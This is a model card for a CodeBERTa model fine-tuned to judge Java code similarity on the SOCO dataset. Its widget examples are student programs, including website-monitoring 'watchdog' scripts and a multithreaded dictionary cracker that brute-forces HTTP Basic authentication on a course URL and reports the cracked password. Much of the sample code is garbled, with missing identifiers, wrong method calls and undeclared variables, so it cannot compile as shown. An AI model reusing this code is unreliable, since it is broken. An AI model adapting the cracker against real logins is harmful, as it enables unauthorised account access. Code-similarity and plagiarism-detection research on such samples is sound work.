Model: buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss, dataset:buelfhood/SOCO_java, arxiv:1908.10084, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence:  




import java.util.*;
import java.io.*;

public class MyTimer
{	

	public static void main(String args[])
	{
		Watchdog watch = new Watchdog();
		Timer time = new Timer();
		time.schedule(watch,864000000,864000000);
		
			
	}
}

sentences: 

public class Base64 {


static public char[] encode(byte[] data)
{
    char[] out = new char[((data.length + 2) / 3) * 4];

    
    
    
    
    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
        boolean quad = false;
        boolean trip = false;

        int bat = (0xFF & (int) data[i]);
        bat <<= 8;
        if ((i+1) < data.length) {
            bat |= (0xFF & (int) data[i+1]);
            trip = true;
        }
        bat <<= 8;
        if ((i+2) < data.length) {
           bat  |= (0xFF & (int) data[i+2]);
            quad = true;
        }
        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+1] = alphabet[bat & 0x3F];
        bat >>= 6;
        out[index+0] = alphabet[ bat & 0x3F];
    }
    return out;
}

  
static public byte[] decode(char[] data)
{
    
    
    
    
    
    

    int tempLen = data.length;
    for( int ix=0; ix<data.length; ix++ )
    {
        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
            --tempLen;  
    }
    
    
    
    

    int len = (tempLen / 4) * 3;
    if ((tempLen % 4) == 3) len += 2;
    if ((tempLen % 4) == 2) len += 1;

    byte[] out = new byte[len];



    int shift = 0;   
    int accum = 0;   
    int index = 0;

    
    for (int ix=0; ix<data.length; ix++)
    {
        int value = (data[ix]>255)? -1: codes[ data[ix] ];

        if ( value >= 0 )           
        {
            accum <<= 6;            
            shift += 6;             
            accum |= value;         
            if ( shift >= 8 )       
            {
                shift -= 8;         
                out[index++] =      
                    (byte) ((accum >> shift) & 0xff);
            }
        }
        
        
        
        
        
        
    }

    
    if( index != out.length)
    {
        throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
    }

    return out;
}





static private char[] alphabet =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        .toCharArray();




static private byte[] codes = new byte[256];
static {
    for (int i=0; i<256; i++) codes[i] = -1;
    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
    codes['+'] = 62;
    codes['/'] = 63;
}
}, 


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

	private static Properties testProps;

	public MailsendPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the watchddog Props");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
			testProps.load(fis);
		}
	}
}





, 

import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;

public class Dictionary {
    
    
    
    public static String Base64Encode(String s) {
        byte[] bb = s.getBytes();
        byte[] b  = bb;
        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        '0','1','2','3','4','5','6','7','8','9','+','/' };
        if (bb.length % 3!=0) {
            int x1 = bb.length;
            
            b = new byte[(x1/3+1)*3];
            int x2 = b.length;
            
            for(int i=0;i<x1;i++)
                b[i] = bb[i];
            for(int i=x1;i<x2;i++)
                b[i] = 0;
        }
        
        char[] c = new char[b.length/3*4];
        
        int i=0, j=0;
        while (i+3<=b.length) {
            c[j]     = table[(b[i]   >>  2)];
            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
            c[j+3]   = table[(b[i+2] &  63)];
            i+=3;
            j+=4;
        }
        
        j = c.length-1;
        while (c[j]=='A') {
            c[j]='=';
            j--;
        }
        
        return String.valueOf(c);
    }
    
    
    public synchronized void getAccumulatedLocalAttempt() {
        attempt = 0;
        for (int i=0;i<MAXTHREAD;i++) {
            attempt += threads[i].getLocalAttempt();
        }
    }
    
    
    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        System.out.println();
        System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
        System.out.println();
        System.out.println("  Current connections   : "+curconn);
        System.out.println("  Current progress      : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
        System.out.println("  Overall Attempts rate : "+ovrl+" attempts  second (approx.)");
        System.out.println();
        System.out.println(" ---------------------------------------------------------------------------");
        System.out.println();
    }
    
    
    public class MyTT extends TimerTask {
        
        public synchronized void run() {
            
            
            if (count==REPORT_INTERVAL) {
                
                DecimalFormat fmt = new DecimalFormat();
                fmt.applyPattern("0.00");
                
                
                getAccumulatedLocalAttempt();
                double p = (double)attempt/(double)ALLCOMBI*100;
                
                
                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
                
                
                attmArr[attmArrIdx++] = aps;
                
                
                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
                count = 0;
            } else
                
                if (count==0) {
                    getAccumulatedLocalAttempt();
                    attm = attempt;
                    count++;
                } else {
                    count++;
                }
        }
        
        
        
        public synchronized double getOverallAttemptPerSec() {
            double val = 0;
            
            if (attmArrIdx==0) {
                return attmArrIdx;
            } else {
                for (int i=0;i<attmArrIdx;i++) {
                     val+= attmArr[i];
                }
                return  val / attmArrIdx;
            }
        }
        
        private int      count = 0;
        private    int  attm;
        private int      attmArrIdx = 0;
        private double[] attmArr = new double[2*60*60/10]; 
    }
    
    
    public synchronized void interruptAll(int ID) {
        for (int i=0;i<MAXTHREAD;i++) {
            if ((threads[i].isAlive()) && (i!=ID)) {
                threads[i].interrupt();
            }
            notifyAll();
        }
    }
    
    
    
    public synchronized void setSuccess(int ID, String p) {
        passw   = p;
        success = ID;
        notifyAll();
        interruptAll(ID);
        
        
        end = System.currentTimeMillis();
    }
    
    
    public synchronized boolean isSuccess() {
        return (success>=0);
    }
    
    
    
    public synchronized void waitUntilAllTerminated() {
        while (curconn>0) {
            try {
                wait();
            } catch (InterruptedException e) {}
        }
    }
    
    
    
    
    public synchronized int waitUntilOK2Connect() {
        boolean interruptd= false;
        int idx = -1;
        
        
        
        
        while (curconn>=MAXCONN) {
            try {
                wait();
            } catch (InterruptedException e) { interruptd = true; }
        }
        
        
        
        if (!interruptd) {
            
            curconn++;
            for (idx=0;idx<MAXCONN;idx++)
                if (!connused[idx]) {
                    connused[idx] = true;
                    break;
                }
            
            notifyAll();
        }
        
        
        return idx;
    }
    
    
    public synchronized void decreaseConn(int idx) {
        curconn--;
        connused[idx] = false;
        
        
        notifyAll();
    }
    
    
    
    
    public String[] fetchWords( int idx,int n) {
        String[] result = new String[n];
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
            
            for (int i=0;i<idx;i++) { b.readLine(); }
            
            for (int i=0;i<n;i++) {
                result[i] = b.readLine();
            }
            
            b.print();
        } catch (FileNotFoundException e) {
            System.out.println(e);
            System.exit(0);
        } catch (IOException e) {}
        return result;
    }
    
    
    public String fetchWord( int idx) {
        String result = null;
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
            
            for (int i=0;i<idx;i++) { b.readLine(); }
            
            result = b.readLine();
            
            b.print();
        } catch (FileNotFoundException e) {
            System.out.println(e);
            System.exit(0);
        } catch (IOException e) {}
        return result;
    }
    
    
    public static void readThroughDictionary() {
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(DICTIONARY));
            PrintWriter w    = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT)));
            String s;
            
            ALLCOMBI = 0;
            while ((s=b.readLine())!=null) {
                if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {
                    w.println(s);
                    ALLCOMBI++;
                }
            }
            b.print();
            w.print();
        } catch (FileNotFoundException e) {
            System.out.println("Unable  open the DICTIONARY file '"+DICTIONARY+"'");
            System.exit(0);
        } catch (IOException e) {
            System.out.println("Error in  the DICTIONARY file '"+DICTIONARY+"'");
            System.exit(0);
        }
    }
    
    
    
    
    
    public class ThCrack extends Thread {
        
        
        public ThCrack(int threadID, int startidx, int endidx) {
            super(" Thread #"+String.valueOf(threadID)+": ");
            this.ID       = threadID;
            this.startidx = startidx;
            this.endidx   = endidx;
            
            
            if (endidx>=startidx+MAXCACHE-1) {
                this.localDict = new String[MAXCACHE];
                this.localDict = fetchWords(startidx,MAXCACHE);
                lastFetchIdx   = startidx+MAXCACHE-1;
            } else {
                this.localDict = new String[(int)(endidx-startidx+1)];
                this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));
                lastFetchIdx   = endidx;
            }
            
            setDaemon(true);
        }
        
        
        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
            int i;
            String msg;
            
            
            URL tryURL = new URL(THEURL);
            
            
            connections[connID]=(HttpURLConnection) tryURL.openConnection();
            
            
            connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
            
            
            i = connections[connID].getResponseCode();
            msg  = connections[connID].getResponseMessage();
            connections[connID].disconnect();
            
            
            if (i==HttpURLConnection.HTTP_OK) {
                
                System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
                setSuccess(this.ID,thePass);
                return (true);
            } else {
                
                System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
                return (false);
            }
        }
        
        
        public void rest(int msec) {
            try { sleep(msec); } catch (InterruptedException e) {}
        }
        
        
        public String getCacheIdx(int idx) {
            if (idx<=lastFetchIdx) {
                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
            } else {
                if (lastFetchIdx+localDict.length-1>endidx) {
                    this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));
                    lastFetchIdx   = endidx;
                } else {
                    this.localDict = fetchWords(lastFetchIdx+1,localDict.length);
                    lastFetchIdx   = lastFetchIdx+localDict.length;
                }
                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
            }
        }
        
        
        
        public String constructPassword(int idx) {
            return getCacheIdx(idx);
        }
        
        
        public String getStartStr() {
            return fetchWord(this.startidx);
        }
        
        
        public String getEndStr() {
            return fetchWord(this.endidx);
        }
        
        
        public void run() {
             i = startidx;
            boolean keeprunning = true;
            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
                
                
                int idx = waitUntilOK2Connect();
                
                
                if (idx==-1) {
                    
                    break;
                }
                
                try {
                    
                    String s = constructPassword(i);
                    
                    if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))
                        launchRequest(getName(), idx, s);
                    else
                        System.out.println(getName()+"skipping '"+s+"'");
                    
                    decreaseConn(idx);
                    
                    localattempt++;
                    
                    
                    rest(MAXCONN);
                    i++;
                } catch (InterruptedException e) {
                    
                    
                    keeprunning = false;
                    break;
                } catch (IOException e) {
                    
                    
                    
                    
                    
                    decreaseConn(idx);
                }
            }
            
            
            if (success==this.ID) {
                waitUntilAllTerminated();
            }
        }
        
        
        public int getLocalAttempt() {
            return localattempt;
        }
        
        private int startidx,endidx;
        private int ID;
        private int localattempt = 0;
        private String localDict[]; 
        private  int  lastFetchIdx;
    }
    
    
    public void printProgramHeader(String mode,int nThread) {
        System.out.println();
        System.out.println(" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************");
        System.out.println();
        System.out.println("  URL         : "+THEURL);
        System.out.println("  Crack Mode  : "+mode);
        System.out.println("  . Char   : "+MINCHAR);
        System.out.println("  . Char   : "+MAXCHAR);
        System.out.println("  # of Thread : "+nThread);
        System.out.println("  Connections : "+MAXCONN);
        System.out.println("  All Combi.  : "+ALLCOMBI);
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
    }
    
    
    public void startNaiveCracking() {
        MAXTHREAD = 1;
        MAXCONN   = 1;
        startDistCracking();
    }
    
    
    public void startDistCracking() {
          int startidx,endidx;
        int   thcount;
        
        
        if (isenhanced) {
            printProgramHeader("ENHANCED DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
        } else {
            printProgramHeader("NAIVE DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
        }
        
        
        
        
        
        
        
        
        if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); }
         mult = (ALLCOMBI) / MAXTHREAD;
        
        
         i = System.currentTimeMillis();
        
        
        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
            startidx = thcount*mult;
            endidx   = (thcount+1)*mult-1;
            threads[thcount] = new ThCrack(thcount, startidx, endidx);
            System.out.println(threads[thcount].getName()+" try  crack from '"+threads[thcount].getStartStr()+"'  '"+threads[thcount].getEndStr()+"'");
        }
        
        
        
        
        
        startidx = (MAXTHREAD-1)*mult;
        endidx   = ALLCOMBI-1;
        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
        System.out.println(threads[MAXTHREAD-1].getName()+" try  crack from '"+threads[MAXTHREAD-1].getStartStr()+"'  '"+threads[MAXTHREAD-1].getEndStr()+"'");
        
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
        
        
        for (int i=0;i<MAXTHREAD;i++)
            threads[i].print();
    }
    
    
    public Dictionary() {
        
        if (isenhanced) {
            startDistCracking();
        } else {
            startNaiveCracking();
        }
        
        
        reportTimer  = new java.util.Timer();
        MyTT      tt = new MyTT();
        reportTimer.schedule(tt,0,1000);
        
        
        while ((success==-1) && (attempt<ALLCOMBI)) {
            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
        }
        
        
        if (success==-1) {
            end = System.currentTimeMillis();
        }
        
        
        getAccumulatedLocalAttempt();
        
        double ovAps = tt.getOverallAttemptPerSec();
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        
        reportTimer.cancel();
        
        
        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
        
        
        synchronized (this) {
            if (success>=0) {
                System.out.println();
                System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
                System.out.println();
                System.out.println("  The password is     : "+passw);
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println("  Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            } else {
                System.out.println();
                System.out.println(" ********************* [ UNABLE  CRACK THE URL !!! ] *********************");
                System.out.println();
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            }
        }
    }
    
    
    public static void printSyntax() {
        System.out.println();
        System.out.println("Syntax : Dictionary [mode] [URL] [] [] [username]");
        System.out.println();
        System.out.println("   mode     : (opt) 0 - NAIVE Dictionary mode");
        System.out.println("                        (trying from the first  the last combinations)");
        System.out.println("                    1 - ENHANCED Dictionary mode");
        System.out.println("                        (dividing cracking jobs  multiple threads) (default)");
        System.out.println("   URL      : (opt) the URL  crack ");
        System.out.println("                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
        System.out.println("   ,  : (optional) range of characters   applied in the cracking");
        System.out.println("                         where  1   <=  <= 255  (default  = 1)");
        System.out.println("                                 <=  <= 255  (default  = 3)");
        System.out.println("   username : (optional) the username that is used  crack");
        System.out.println();
        System.out.println("   NOTE: The optional parameters '','', and 'username'");
        System.out.println("         have   specified altogether  none at all.");
        System.out.println("         For example, if [] is specified, then [], and [username]");
        System.out.println("         have   specified as well. If none of them  specified,");
        System.out.println("         default values   used.");
        System.out.println();
        System.out.println("   Example of invocation :");
        System.out.println("         java Dictionary ");
        System.out.println("         java Dictionary 0");
        System.out.println("         java Dictionary 1 http://localhost/tryme.php");
        System.out.println("         java Dictionary 0 http://localhost/tryme.php 1 3 ");
        System.out.println("         java Dictionary 1 http://localhost/tryme.php 1 10 ");
        System.out.println();
        System.out.println();
    }
    
    
    public static void paramCheck(String[] args) {
        int argc = args.length;
        
        
        try {
            switch (Integer.valueOf(args[0]).intValue()) {
                case 0: {
                    isenhanced = false;
                } break;
                case 1: {
                    isenhanced = true;
                } break;
                default:
                    System.out.println("Syntax error : invalid mode '"+args[0]+"'");
                    printSyntax();
                    System.exit(1);
            }
        } catch (NumberFormatException e) {
            System.out.println("Syntax error : invalid number '"+args[0]+"'");
            printSyntax();
            System.exit(1);
        }
        
        if (argc>1) {
            try {
                
                URL u  = new URL(args[1]);
                
                
                try {
                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                    
                    switch (conn.getResponseCode()) {
                       case  HttpURLConnection.HTTP_ACCEPTED:
                      case   HttpURLConnection.HTTP_OK:
                      case   HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
                      case   HttpURLConnection.HTTP_FORBIDDEN:
                      case   HttpURLConnection.HTTP_UNAUTHORIZED:
                            break;
                        default:
                            
                            
                            System.out.println("Unable  open connection  the URL '"+args[1]+"'");
                            System.exit(1);
                    }
                } catch (IOException e) {
                    System.out.println(e);
                    System.exit(1);
                }
                
                THEURL = args[1];
            } catch (MalformedURLException e) {
                
                System.out.println("Invalid URL '"+args[1]+"'");
                printSyntax();
                System.exit(1);
            }
        }
        
        
        if (argc==5) {
            try {
                MINCHAR = Integer.valueOf(args[2]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[2]+"'");
                printSyntax();
                System.exit(1);
            }
            
            try {
                MAXCHAR = Integer.valueOf(args[3]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[3]+"'");
                printSyntax();
                System.exit(1);
            }
            
            if ((MINCHAR<1) || (MINCHAR>255)) {
                System.out.println("Invalid  range number value '"+args[2]+"' (must between 0 and 255)");
                printSyntax();
                System.exit(1);
            } else
                if (MINCHAR>MAXCHAR) {
                    System.out.println("Invalid  range number value '"+args[2]+"' (must lower than the  value)");
                    printSyntax();
                    System.exit(1);
                }
            
            if (MAXCHAR>255) {
                System.out.println("Invalid  range number value '"+args[3]+"' (must between  value and 255)");
                printSyntax();
                System.exit(1);
            }
            
            USERNAME = args[4];
        } else
            if ((argc>2) && (argc<5)) {
                System.out.println("Please specify the [], [], and [username] altogether  none at all");
                printSyntax();
                System.exit(1);
            } else
                if ((argc>2) && (argc>5)) {
                    System.out.println("The number of parameters expected is not more than 5. ");
                    System.out.println(" have specified more than 5 parameters.");
                    printSyntax();
                    System.exit(1);
                }
    }
    
    public static void main(String[] args) {
        MINCHAR   = 1;
        MAXCHAR   = 3; 
        
        
        if (args.length==0) {
            args    = new String[5];
            args[0] = String.valueOf(1); 
            args[1] = THEURL;
            args[2] = String.valueOf(MINCHAR);
            args[3] = String.valueOf(MAXCHAR);
            args[4] = USERNAME;
        }
        
        
        paramCheck(args);
        
        
        readThroughDictionary();
        
        
        Application = new Dictionary();
    }
    
    public static Dictionary Application;
    public static String    THEURL		= "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
    public static String    DICTIONARY          = System.getProperty("user.dir")+"/words";
    public static String    TEMPDICT            = System.getProperty("user.dir")+"/~words";
    public static boolean   isenhanced;		
    public static String    passw		= "";	
    
    public static final int REPORT_INTERVAL = 1;  
    public static int       MAXTHREAD =  50;      
    public static int       MAXCONN   =  50;      
    public static int	    curconn   =   0;      
    public static int       success   =  -1;      
    
    public static String    USERNAME = "";  
    public static int       MINCHAR;              
    public static int       MAXCHAR;              
    public static   int    ALLCOMBI;             
    
    public static  int  start    ,end;            
    public static int       MAXCACHE  = 100;      
    
    public static java.util.Timer   reportTimer;  
    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
    public static boolean	    connused[]	  = new boolean[MAXCONN];           
    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
    public static   int    attempt               = 0; 
    public static int    idxLimit;		  
}
, source_sentence: 
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WriteFile
{
   String url;
   String fileName;
   int flag;
   private PrintWriter out2;
   private TextArea response;
   int status;
   int mailFlag;

   public WriteFile (String newUrl, String newFileName, int newFlag)
   {
       url = newUrl;
       fileName = newFileName;
       PrintWriter printW = null;
       FileOutputStream fout;
       flag = newFlag;
       status = 0;
       mailFlag = 0;

       
       File file = new File(fileName);
       file.delete();

       try
       {
          fout = new FileOutputStream(fileName,true);
          printW = new PrintWriter(fout);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }


       URL u;
       URLConnection uc;

       try
       {
          u = new URL(url);
          try
          {
             
             uc = u.openConnection();

             InputStream content = (InputStream)uc.getInputStream();
             BufferedReader in = new BufferedReader (new InputStreamReader(content));

             String line;

             
             while ((line = in.readLine()) != null)
             {
                
                printW.println(line);

             }
          }
          catch (Exception e)
          {
             System.out.println("Error: " + e);
          }
       }
       catch (MalformedURLException e)
       {
          System.out.println(url + " is not a parseable URL");
       }
       
       printW.print();


       if(flag == 1)
       {
          
           compareDiff("@.rmit.edu.");
       }
   }

  String loadStream(InputStream in) throws IOException
  {
        int ptr = 0;
        in = new BufferedInputStream(in);
        StringBuffer buffer = new StringBuffer();

        while( (ptr = in.next()) != -1 )
        {
            status++;
            
            buffer.append((char)ptr);
            mailFlag++;
            
        }
        return buffer.toString();
   }

    public void compareDiff(String emailAdd)
    {
       String cmds = "diff test1.txt test2.txt";
       PrintWriter printW2 = null;
       FileOutputStream fout2;
       
       File file = new File("diff.txt");
       file.delete();
       String ;

       try
       {
          fout2 = new FileOutputStream("diff.txt",true);
          printW2 = new PrintWriter(fout2);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }

       try
       {


          
          Process ps = Runtime.getRuntime().exec(cmds);
          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));

          printW2.println(loadStream(ps.getInputStream())+"\n");
          printW2.print();


          if(mailFlag != 0)
          {
             FileReader fRead2;
             BufferedReader buf2;

             try
             {
                fRead2 = new FileReader("diff.txt");
                buf2 = new BufferedReader(fRead2);
                String line2;
                int i=0;

                line = new String("  some changes  the web  as followed: \n");
                
                Socket s = new Socket("wombat.cs.rmit.edu.", 25);
                out2 = new PrintWriter(s.getOutputStream());

                send(null);
                send("HELO cs.rmit.edu.");
                send("MAIL FROM: @.rmit.edu.");
                
                send("RCPT : @.rmit.edu.");
                send("DATA");
                

                while( (line2 = buf2.readLine()) != null)
                {
                   
 line= new String(""+line2+"\n");
                   
                   

                }
                
                
                
                out2.print();
                send(".");
                s.print();
             }
             catch(FileNotFoundException e)
             {
                System.out.println("File not found");
             }
             catch(IOException ioe)
             {
                System.out.println("IO Error " + ioe);
             }
          }

          System.out.println(loadStream(ps.getInputStream()));
          
          System.err.print(loadStream(ps.getErrorStream()));
        }
        catch(IOException ioe)
        {
            ioe.printStackTrace();
        }
    }

    public void send(String s) throws IOException
    {
    	response = new TextArea();
      	if(s != null)
      	{
            response.append(s + "\n");
            out2.println(s);
	    out2.flush();
	}
    }

   public int getStatus()
   {
      return status;
   }
}
sentences: import java.io.*;
import java.util.StringTokenizer;
import java.net.smtp.SmtpClient;
import java.util.Timer;
import java.util.TimerTask;


public class WatchDog {
public static void main(String[] args) {
try {
Process y = Runtime.getRuntime().exec("./init");
}
catch (Exception e) {System.err.println(e);}


WatchDog poodle=new WatchDog();
 {
poodle.startWatch();
} while(1==1);
}

public void startWatch() {
String error_mes=new String();
String mesg=new String();
String url="wget -p http://www.cs.rmit.edu./students";

try {
Process a = Runtime.getRuntime().exec(url);
}
catch (Exception e) {System.err.println(e);}

try {
Process b = Runtime.getRuntime().exec("diff org/images/ www.cs.rmit.edu./images/");
 BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream()));
            while ((error_mes = stdInputimages.readLine()) != null) {

              mesg=mesg.concat(error_mes);
              
              
              }
}
catch (Exception e) {System.err.println(e);}




try {
Process c = Runtime.getRuntime().exec("diff org/students/ www.cs.rmit.edu./students/");
BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));
            while ((error_mes = stdInputindex.readLine()) != null) {
             mesg=mesg.concat(error_mes);
                  
              }
}
catch (Exception e) {System.err.println(e);}


if (mesg.length()>0) { sendEmail(mesg); }

try { Thread.sleep(60*60*24*1000);
 } catch(Exception e) { }
}





public void sendEmail(String message) {
{
String reciever = "@cs.rmit.edu.";
String sender = "WATCHDOG@cs.rmit.edu.";

    try {

                        SmtpClient smtp = new SmtpClient();
                        smtp.from(sender);
                        smtp.to(reciever);
                        PrintStream msg = smtp.startMessage();
                        msg.println(message);
                        smtp.closeServer();
                }

                catch (Exception e) {}

        }
}
}, import java.net.*; 
import java.io.*; 
import java.util.regex.*;
import java.util.Date;
import java.util.*;
import java.text.*; 




public class WatchDog { 
  public static BufferedReader in;
  

  public static int LIMITINMINUTES=60*24;
  public static int TIMELIMIT=LIMITINMINUTES*1000*60;
  public static void main(String[] args) throws Exception { 
    
    String watchedPage = "http://www.cs.rmit.edu./students/";
    String currentPage = "";  
    
    
    System.out.println(" stop the program, press \"Alt + C\"");
    
    boolean loggedout=false;
    while (!loggedout){
      
      currentPage="";
      
      
      Date date = new Date();
       startTime=date.getTime();
      
      
      URL cs = new URL(watchedPage); 
      HttpURLConnection connection;
      URLConnection csc = cs.openConnection();      
      try {
	BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); 
	String inputLine; 
	
	while ((inputLine = in.readLine()) != null) {
	  currentPage = currentPage+inputLine;
	}
	
      }
      catch (IOException s) {    
      }
      finally {
	while(in!=null)
          in.next();
      }
      
      String lastPage=readData();
      if (lastPage.trim().equals(currentPage.trim())) {
	System.out.println("Pages match, nothing  email.");
      }
      else {
	
	
	String checkCurrentPage = currentPage.trim();
	String checkLastPage = lastPage.trim();
	int iterations;
	
	boolean lastLongestString;
	if (checkCurrentPage.length()<checkLastPage.length()) {
          iterations = checkCurrentPage.length();
	  lastLongestString = true;
	}
	else {
          iterations = checkLastPage.length();
	  lastLongestString = false;
	  
	}
	String additions = "Here  the additions  the : \n";
	boolean add=false;
	String subtractions = "Here  the parts removed from the : \n";
	boolean sub=false;
	for (int count=0; count<iterations; count++) {
          
	  if (checkLastPage.length()>count && checkCurrentPage.length()>count){
	  
            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {
	      
	      
	      if (count<20){
		additions = "Sorry changes   together  distinguish additions and subtractions  . Here is where  : "+ checkCurrentPage.substring(count, checkCurrentPage.length());
		count = iterations;
	      }
	      else {
		
		
		checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());
		checkLastPage=checkLastPage.substring(count, checkLastPage.length());
		iterations=iterations-count;
		count=0;

		
		
		
		String regexAdd="";
		if (checkLastPage.length()<20){
		  regexAdd=checkLastPage.substring(count, checkLastPage.length());
		}
		else {	  
		  regexAdd=checkLastPage.substring(0,19);
		}
		String [] changes=checkCurrentPage.split(regexAdd, 2);
		int changeslength=changes.length;
		
		if (changeslength>1){
		  
		  add=true;
		  additions = additions + changes[0];	  
		  
		  
		  if (changeslength>1){
		    checkCurrentPage=regexAdd+changes[1];
		  }
		  else {
		    if (lastLongestString==true) 
	              count=iterations;
		  }  
		}
		else { 
	  		  
		  
		  
		  String regexSub="";
		  if (checkCurrentPage.length()<20){
		    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());
		  }
		  else {	  
		    regexSub=checkCurrentPage.substring(0,19);
		  }
		  String [] changesSub=checkLastPage.split(regexSub, 2);
		  int changeslengthSub=changesSub.length;
		  
		  if (changeslengthSub>1){
		    
		    sub=true;
		    subtractions = subtractions + changesSub[0];	  
		    
		    
		    if (changeslengthSub>1){
		      checkLastPage=regexSub+changesSub[1];
		    }
		    else {
		      if (lastLongestString==false) 
		      count=iterations;
		    }
		    
		    
		  }
